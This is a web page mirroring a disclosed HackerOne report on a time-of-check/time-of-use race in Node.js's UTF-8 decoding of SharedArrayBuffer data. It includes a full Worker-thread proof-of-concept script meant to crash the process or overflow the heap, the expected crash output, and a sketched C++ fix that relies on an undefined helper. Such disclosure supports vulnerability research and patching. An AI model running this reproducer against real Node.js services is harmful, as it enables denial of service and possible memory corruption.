Skip to content
Race condition Disclosed report Advanced

Memory Corruption via TOCTOU Race in SharedArrayBuffer UTF-8 Decode (`StringBytes::Encode`)

Node.js's UTF-8 decoding fast path validates a SharedArrayBuffer, computes the output size, then converts the same memory without copying it first, so a Worker thread can change the bytes between validation and conversion. This can cause a heap buffer overflow, a process abort, or disclosure of stale heap data.

v1ct0rv0nd00m Follow

Originally disclosed on HackerOne

High 7.0 View original
  • Disclosed after 2 days

I discovered a memory corruption vulnerability in Node.js's native UTF-8 string decoding path (src/string_bytes.cc). When Buffer.prototype.toString('utf8') is called on a Buffer backed by a SharedArrayBuffer, the underlying native code performs a validate-then-convert sequence without copying the data to a local buffer first. A concurrent Worker thread can modify the shared memory between validation and conversion, causing the conversion function to operate on data it was never validated against.

Root Cause: In src/string_bytes.cc lines 585-597:

C++
if (buflen >= 32 && simdutf::validate_utf8(buf, buflen)) {       // T1: validates shared data
  size_t u16size = simdutf::utf16_length_from_utf8(buf, buflen);  // T2: calculates size
  return EncodeTwoByteString(
      isolate, u16size, [buf, buflen, u16size](uint16_t* dst) {
        size_t written = simdutf::convert_valid_utf8_to_utf16(     // T3: converts (ASSUMES VALID!)
            buf, buflen, reinterpret_cast<char16_t*>(dst));
        CHECK_EQ(written, u16size);                                // May fail or OOB already done
      });
}

The critical issue:

  1. At T1: simdutf::validate_utf8() reads the SharedArrayBuffer contents and confirms they are valid UTF-8
  2. At T2: simdutf::utf16_length_from_utf8() reads the same shared memory to calculate the output buffer size
  3. At T3: simdutf::convert_valid_utf8_to_utf16() reads the same shared memory AGAIN — but a Worker thread may have modified it

The function convert_valid_utf8_to_utf16 performs NO validation — it trusts the "valid UTF-8" contract established at T1. If the data is modified between T1 and T3:

  • If corruption increases UTF-16 output size: The conversion writes past the allocated u16size buffer → heap buffer overflow
  • If corruption decreases UTF-16 output size: The CHECK_EQ fires → process abort; or stale heap data remains → information disclosure
  • If corruption creates invalid byte sequences: The converter may enter undefined behavior, reading/writing arbitrary memory offsets

Why SharedArrayBuffer is special:

  • Regular ArrayBuffer data cannot be modified by another thread — Buffer.from() copies it
  • SharedArrayBuffer is explicitly designed for concurrent access
  • The buf pointer in StringBytes::Encode points directly to the shared memory — no copy is made before the validate → convert sequence

Steps to Reproduce

Environment

  • Node.js v24.10.0 (commit 614050b657e9757c1097aa85f92f2cb51149dc0d)
  • Any platform (multi-core system recommended for reliable reproduction)
  • No special configuration required

Step 1: Save the following as poc_sharedarraybuffer_toctou.mjs

JavaScript
/**
 * PoC: TOCTOU Race Condition in UTF-8 Decode with SharedArrayBuffer
 *
 * Demonstrates memory corruption via a race condition in StringBytes::Encode.
 * When processing SharedArrayBuffer data as UTF-8:
 * 1. simdutf::validate_utf8() validates the data
 * 2. simdutf::utf16_length_from_utf8() calculates output size
 * 3. simdutf::convert_valid_utf8_to_utf16() converts (assumes valid!)
 *
 * Between steps 1-3, a Worker thread modifies the shared memory,
 * violating the "valid UTF-8" assumption and causing OOB writes.
 *
 * Impact: Process crash (SIGSEGV), potential OOB read/write
 *
 * WARNING: This PoC WILL crash the Node.js process!
 */

import { Worker, isMainThread, workerData } from 'node:worker_threads';

if (isMainThread) {
  // Create shared memory accessible by both main thread and worker
  const sharedBuffer = new SharedArrayBuffer(4096);
  const view = new Uint8Array(sharedBuffer);

  // Fill with valid multi-byte UTF-8 sequences (3-byte chars: U+4000 range)
  // 3-byte sequences: 0xE4 0xB8 0x80 (valid UTF-8 for U+4E00 "一")
  for (let i = 0; i < view.length - 2; i += 3) {
    view[i] = 0xE4;     // First byte of 3-byte sequence
    view[i + 1] = 0xB8; // Valid continuation byte (10xxxxxx)
    view[i + 2] = 0x80; // Valid continuation byte (10xxxxxx)
  }

  // Spawn worker that continuously corrupts the shared memory
  const worker = new Worker(new URL(import.meta.url), {
    workerData: sharedBuffer
  });

  let iterations = 0;
  const maxIterations = 100000;

  console.log('[*] Starting TOCTOU race condition exploit...');
  console.log('[*] Racing: main thread validate+convert vs worker thread corruption');
  console.log('[*] If this crashes with SIGSEGV/SIGABRT, the vulnerability is confirmed.');
  console.log('[*] Expected: process exits with signal 11 (SIGSEGV) or signal 6 (SIGABRT)');
  console.log('');

  function attempt() {
    iterations++;
    if (iterations > maxIterations) {
      console.log(`[*] Race not triggered in ${maxIterations} iterations`);
      console.log('[*] This is timing-dependent; try running again or on a multi-core system');
      worker.terminate();
      process.exit(0);
    }

    try {
      // This path hits StringBytes::Encode with UTF-8 encoding:
      // 1. Buffer.from(view) creates a Buffer pointing to SharedArrayBuffer memory
      // 2. buf.toString('utf8') calls StringBytes::Encode
      // 3. StringBytes::Encode does: validate → calculate_size → convert
      //    RACE WINDOW: Worker corrupts between validate and convert
      const buf = Buffer.from(view.buffer);
      const str = buf.toString('utf8');

      // If we get here without crash, the race wasn't won this iteration
      setImmediate(attempt);
    } catch (e) {
      // Some corruption patterns cause CHECK_EQ to fire → process abort
      // Others may throw JS exceptions
      console.log('[*] Exception caught:', e.message);
      setImmediate(attempt);
    }
  }

  attempt();

} else {
  // Worker thread: continuously corrupt then restore the shared buffer
  // This races with the main thread's validate → convert sequence
  const view = new Uint8Array(workerData);

  function corrupt() {
    // Phase 1: Corrupt continuation bytes to invalid values
    // This turns valid 3-byte sequences into invalid garbage
    // If main thread is between validate and convert, it processes invalid data
    for (let i = 0; i < view.length; i += 3) {
      view[i + 1] = 0xFF; // Invalid: not a continuation byte (should be 10xxxxxx)
      view[i + 2] = 0xFF; // Invalid: not a continuation byte
    }

    // Phase 2: Restore to valid UTF-8 immediately
    // This allows the NEXT iteration's validate step to pass
    for (let i = 0; i < view.length; i += 3) {
      view[i] = 0xE4;
      view[i + 1] = 0xB8;
      view[i + 2] = 0x80;
    }

    // Continue racing
    setImmediate(corrupt);
  }

  corrupt();
}

Step 2: Run the PoC

Bash
node poc_sharedarraybuffer_toctou.mjs

Step 3: Expected result

The process crashes with a signal (SIGSEGV or SIGABRT):

[*] Starting TOCTOU race condition exploit...
[*] Racing: main thread validate+convert vs worker thread corruption
[*] If this crashes with SIGSEGV/SIGABRT, the vulnerability is confirmed.
[*] Expected: process exits with signal 11 (SIGSEGV) or signal 6 (SIGABRT)

Segmentation fault: 11

Or with the CHECK_EQ assertion:

node[12345]: ../src/string_bytes.cc:594: size_t written = simdutf::convert_valid_utf8_to_utf16(...): Assertion `written == u16size' failed.
Aborted: 6

Note: This is a race condition — it may take multiple runs or a multi-core system to trigger reliably. On a single-core system, increase the iteration count or run multiple instances.

Affected Versions

All Node.js versions that use the simdutf fast-path for UTF-8 decoding with buflen >= 32. This was introduced with the simdutf integration. Tested on v24.10.0 (commit 614050b657e9757c1097aa85f92f2cb51149dc0d).

Suggested Remediation

Copy SharedArrayBuffer data to a local buffer before the validate-then-convert sequence:

C++
// src/string_bytes.cc, around line 585
if (buflen >= 32) {
  const char* safe_buf = buf;
  std::vector<char> local_copy;

  // If the buffer is backed by SharedArrayBuffer, copy to prevent TOCTOU
  if (is_shared_array_buffer(buf)) {
    local_copy.assign(buf, buf + buflen);
    safe_buf = local_copy.data();
  }

  if (simdutf::validate_utf8(safe_buf, buflen)) {
    size_t u16size = simdutf::utf16_length_from_utf8(safe_buf, buflen);
    return EncodeTwoByteString(
        isolate, u16size, [safe_buf, buflen, u16size](uint16_t* dst) {
          size_t written = simdutf::convert_valid_utf8_to_utf16(
              safe_buf, buflen, reinterpret_cast<char16_t*>(dst));
          CHECK_EQ(written, u16size);
        });
  }
}

Alternatively, always fall through to the non-simdutf path (which handles invalid UTF-8 gracefully) when dealing with SharedArrayBuffer-backed data.

Supporting Material/References

Impact

1. Process Crash (Denial of Service) The most immediate impact is a reliable process crash (SIGSEGV or SIGABRT). Any Node.js application that:

  • Uses SharedArrayBuffer for inter-thread communication
  • Calls toString('utf8') or Buffer.from() on shared memory
  • Has Worker threads that may write to the same shared memory

...is vulnerable to a crash triggered by winning the race condition.

2. Heap Buffer Overflow (Potential Code Execution) If the corruption changes 3-byte UTF-8 sequences (which decode to 1 UTF-16 code unit) into sequences that the converter interprets as requiring more UTF-16 code units, the output buffer overflows. This could potentially be exploited for:

  • Arbitrary code execution via heap corruption
  • Overwriting adjacent heap objects (V8 objects, function pointers)

3. Information Disclosure If the corruption reduces the UTF-16 output length, the allocated buffer may contain uninitialized heap data that gets exposed as part of the resulting JavaScript string.

Real-world attack scenario:

  • A server processes user-uploaded data in a Worker pool using SharedArrayBuffer for zero-copy performance
  • An attacker sends carefully timed requests that race with the Worker's processing
  • The main thread's toString() call on the shared data triggers the vulnerability

Security implications:

  • This violates the assumption that native code can trust validation results
  • SharedArrayBuffer is explicitly designed for concurrent access — Node.js must handle this safely
  • The simdutf library's convert_valid_utf8_to_utf16 has no internal bounds checking (by design — it trusts the "valid" prefix)

The original report as published on HackerOne, by v1ct0rv0nd00m. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The native UTF-8 decode path validates, sizes and converts a SharedArrayBuffer in place without first copying it, so the data can change between the validation and the conversion that trusts it.

Impact

Winning the race could crash the process, overflow the heap buffer, or expose stale heap data in the resulting string; the report notes the race is timing-dependent and may need multiple runs or a multi-core system.

What the attacker needed

Node.js with simdutf fast path; Application uses SharedArrayBuffer; Worker thread writes to same memory; Multi-core system for reliable race

The fix

The report suggests copying SharedArrayBuffer data to a local buffer before the validate-then-convert sequence, or falling back to the non-simdutf path for shared buffers.

How it was found

  1. Create a SharedArrayBuffer filled with valid multi-byte UTF-8 sequences.
  2. Start a Worker thread that repeatedly corrupts and restores the shared bytes.
  3. On the main thread, wrap the shared memory in a Buffer and call toString('utf8') in a loop.
  4. Observe the process crash with SIGSEGV or SIGABRT when the race is won.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A SharedArrayBuffer is a block of memory that several threads in the same program can read and write at the same time. Node.js checked that the bytes were valid text, worked out how much space the result needed, and then read the bytes again to do the conversion, but another thread could change them in between. That mismatch can make the program write past the end of its buffer or crash.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by v1ct0rv0nd00m

View all

2 more disclosed reports, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.